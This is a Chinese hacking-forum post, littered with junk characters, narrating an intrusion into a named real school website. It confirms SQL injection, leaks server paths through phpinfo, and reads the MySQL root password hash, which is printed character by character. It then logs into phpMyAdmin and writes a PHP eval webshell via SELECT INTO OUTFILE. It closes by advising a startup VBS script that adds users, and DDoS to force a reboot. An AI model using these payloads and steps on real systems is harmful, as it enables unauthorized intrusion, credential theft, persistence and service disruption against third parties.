第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏* i4 l- k- R! e7 m
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3 -0 -1 判断后确认存在注入！
! K& D1 {( m& o% N4 a" `9 ~8 X9 H6 H& d6 R% v
+ a1 W6 H) G2 k+ K, f- U% K4 P- {( G6 [$ X. m$ V% I
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
7 \# ?( E" Z+ s" t( S$ o$ l2 x r* O8 @ L
那么想可以直接写入shell ，getshell有几个条件：. M/ S5 q( |7 y4 D
1、知道站点物理路径 2、有足够大的权限 3、magic_quotes_gpc()=OFF " a* Z g S5 b9 N' [
2 M) f6 ^5 S9 p! b, h3 N& {
试着爆绝对路径：
2 x4 G1 D) Z2 i: k0 P. ^9 I! p, W1./phpMyAdmin/index.php?lang[]=1
7 B% N7 G; @( K; c& H3 t2./phpMyAdmin/phpinfo.php
+ j9 ^) P/ q2 u1 }- n$ z2 F; ]3./load_file() & B! z9 W. }6 P" @& B
4./phpmyadmin/themes/darkblue_orange/layout.inc.php / T( f; |! v! P: C4 `
5./phpmyadmin/libraries/select_lang.lib.php , o9 Y4 _& R! e6 x" ~
6./phpmyadmin/libraries/lect_lang.lib.php 3 v3 ^. c9 J8 l. [
7./phpmyadmin/libraries/mcrypt.lib.php 4 M7 ~ ^% R- N" v. w4 m
8./phpmyadmin/libraries/export/xls.php
# _0 }1 Z' Z# Y
9 S. `* Y% |1 t. [( N) P均不行........................... * s, ^3 P K$ L& Q+ d
" t1 K& |) C$ _$ h
御剑扫到这个： http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php 4 [5 b( f" x5 r* j
1 {, w) S9 n3 k a) Q权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
* q" o/ l- D9 h3 y4 z: M+ ? I% w' `
" p* t+ a# E' g( G2 J默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败 $ N8 C" p8 F, p; {1 A6 G4 V0 D
: M2 F2 m8 D2 F' O- i: |% h敏感东西： http://202.103.49.66/Admincp.php 社工进不去........... $ x2 k, d, I8 V1 L4 ?* F
% i) Y+ q+ {' j9 J# Z2 _8 s想想root还可以读，读到root密码进phpmyadmin 也可以拿shell # \3 G1 r& g" W+ X+ L
+ |( h. J# r: J2 B* v0 G" Q8 K. h
http://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini
E, H; }, u' t N
- f; A" h% ~+ }- ^自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
7 a& U0 R6 ?9 O9 V( B7 @% S: a% z3 Q5 P8 U; j6 \; h
成功读到root密码： ( L$ I- n2 F0 _3 j& x5 Q
& {, U" C$ W3 Z17---- r(0072) / ]2 S2 x1 e& p# h
18---- o(006f) 1 _; k( ]- u2 y" x( K7 U& l2 ]
19---- o(006f)
6 r5 b+ v M) s" B9 @5 @20---- t(0074)
1 \5 L7 I2 k9 R: g- `. Y9 r- A% Z. Q21---- *(002a) 6 \9 |! q4 b5 T7 d) o( p6 F
22---- 8(0038) ! A* Z7 i: q/ ^+ d7 q7 e9 s6 A
23---- 2(0032)
. V5 P% \* }0 |24---- E(0045)
. U8 ]* f! R- m# n25---- 1(0031)
0 w V6 ~( J* i26---- C(0043) : T4 T, U* a( N$ ~
27---- 5(0035)
- S% M' {5 c3 V5 Z4 N: O7 v7 H% G* p28---- 8(0038)
% ~" ?1 Y" T( ~0 U8 B1 ^$ d29---- 2(0032)
4 E# e, F9 z, q3 b2 r30---- 8(0038) 3 `- k8 s2 O: c' |7 y- O1 q: g9 N
31---- A(0041) 2 U' \7 H3 P5 }! ^
32---- 9(0039) 8 Z9 k7 h2 A) Q1 x* u! Y
33---- B(0042) ' c' r5 C Z% m$ i" t; Y' Y
34---- 5(0035) " p( T y0 `8 i. C4 D3 N b6 Y
35---- 4(0034) 2 y- [4 @1 B5 k) _9 a9 p% i4 V. P
36---- 8(0038)
. a ^# ~% g- |7 M5 R37---- 6(0036)
0 g4 d8 C% L6 u" E8 r2 _38---- 4(0034)
% z3 e2 e$ ~( t+ F39---- 9(0039) # E; Q& i7 \' O6 P* f; I
40---- 1(0031) ' A% t# R, ?* o H
41---- 1(0031) 6 K$ u+ I; E) b6 d
42---- 5(0035) 9 G5 K/ s6 J1 ^3 U k
43---- 3(0033) 3 j. X; I* |# E. ]) Z
44---- 5(0035) / {1 P, |2 p" ]3 p' c
45---- 9(0039) 5 T3 C) s% o# m! ~
46---- 8(0038)
+ B) t/ \0 x: K0 p47---- F(0046) . r/ M1 B' J. A( M: C
48---- F(0046) * T) Y, k4 O) m1 P' M) h
49---- 4(0034) " g8 g+ x" G# [6 F
50---- F(0046)
; j1 i" A' |3 Y# j51---- 0(0030) 3 \. p& ~5 O+ V3 j6 H
52---- 3(0033) , h8 U% p+ G+ b; z$ u: n: |
53---- 2(0032) # b h1 }( u5 K& M& t
54---- A(0041) 2 U+ ?& d& Q" m! {& j
55---- 4(0034) ; e9 h2 b( \: S9 y2 @: P4 }0 O- T
56---- A(0041) . @: W6 V$ |* ~3 G& W, K
57---- B(0042)
- Z! ?, k1 R9 C4 F5 f, t58---- *(0044)
1 Q9 o2 `$ F2 Y. N+ f" z3 S59---- *(0035)
( g0 T! D# y2 M8 q8 v( ~60---- *(0041)
+ G( n6 @0 f1 L7 K* l1 I) S61---- *0032)
) Z( N2 {8 _ s0 g6 v7 F6 u t _$ ~
解密后成功登陆phpmyamin " n. r3 Y" B$ i0 A4 x; @
/ b& |5 U- l; x7 V1 Y
3 s* c( R; g' S* x) Z0 e ) V$ j2 @& ]* o& \- h( u
- o; f& e; h( x* T2 |) j. l, h
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php' . }5 L; u. E5 S( ^
$ X" d( B a- R1 b' B3 D0 x/ L成功执行，拿下shell，菜刀连接：
}% [2 t( Y: Z1 Q$ y
7 Z0 |$ v. h2 w+ q1 |% N5 m服务器不支持asp,aspx,php提权无果................... - ^" q4 L, `2 u/ f2 U4 P/ M
}2 _' j9 O; Q
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
2 W( Z* U3 l- _3 F服务器上已经有个隐藏帐号了 ; M. M6 n# `6 h2 {
别名 administrators
/ V7 ~" I$ C# B0 q+ i9 ~注释 管理员对计算机/域有不受限制的完全访问权
: y% T; U& C! a) \( M4 d* n成员 5 o2 H0 I4 c* z `$ [; Y1 ~2 _: u
-------------------------------------------------------------------------------
K" ^6 n: G8 _- h6 Padmin
3 m8 O+ ]- I4 C3 i& gAdministrator
E! P+ V6 ~7 ~! G. ^slipper$
5 U: V U4 m% V6 Z) Asqluser$ Y: O( d0 R$ C, a% \. @$ R
命令成功完成。
2 [& Z+ p0 G; g( U/ A
/ _+ `# N) u S# g8 Y' q服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
0 q( k3 v$ o' I9 o! m$ P2 R
, \1 Y" h3 k* ]$ |2 L; m9 _ddos服务器重启，不然就只能坐等服务器重启了...............................
' o2 |) O0 ]* _6 X# n* b$ k3 z$ z0 l! Z7 F) I
" N# g* R5 u0 G3 P1 ~2 ]8 n | 
发表于 2013-1-11 21:32:15
收藏
支持
反对
发表于 2013-5-20 15:28:12
